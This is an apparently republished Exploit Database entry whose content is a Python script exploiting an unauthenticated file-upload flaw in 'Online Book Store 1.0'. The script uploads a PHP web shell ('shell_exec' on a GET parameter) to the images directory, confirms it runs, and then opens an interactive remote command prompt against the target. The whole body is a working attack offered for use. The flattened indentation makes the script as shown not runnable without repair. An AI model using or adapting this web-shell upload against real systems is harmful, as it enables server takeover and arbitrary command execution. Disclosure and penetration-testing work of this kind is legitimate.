Online Book Store 1.0 – Unauthenticated Remote Code Execution

• Exploit Database
• 16 阅读

• 作者： Tib3rius
  日期： 2020-01-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47887/

• # Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
  # Google Dork: N/A
  # Date: 2020-01-07
  # Exploit Author: Tib3rius
  # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
  # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
  # Version: 1.0
  # Tested on: Ubuntu 16.04
  # CVE: N/A
  
  import argparse
  import random
  import requests
  import string
  import sys
  
  parser = argparse.ArgumentParser()
  parser.add_argument('url', action='store', help='The URL of the target.')
  args = parser.parse_args()
  
  url = args.url.rstrip('/')
  random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
  
  payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
  
  file = {'image': (random_file + '.php', payload, 'text/php')}
  print('> Attempting to upload PHP web shell...')
  r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
  print('> Verifying shell upload...')
  r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
  
  if random_file in r.text:
  print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
  print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
  launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
  if launch_shell.lower() == 'y':
  while True:
  cmd = str(input('RCE $ '))
  if cmd == 'exit':
  sys.exit(0)
  r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
  print(r.text)
  else:
  if r.status_code == 200:
  print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
  else:
  print('> Web shell failed to upload! The web server may not have write permissions.')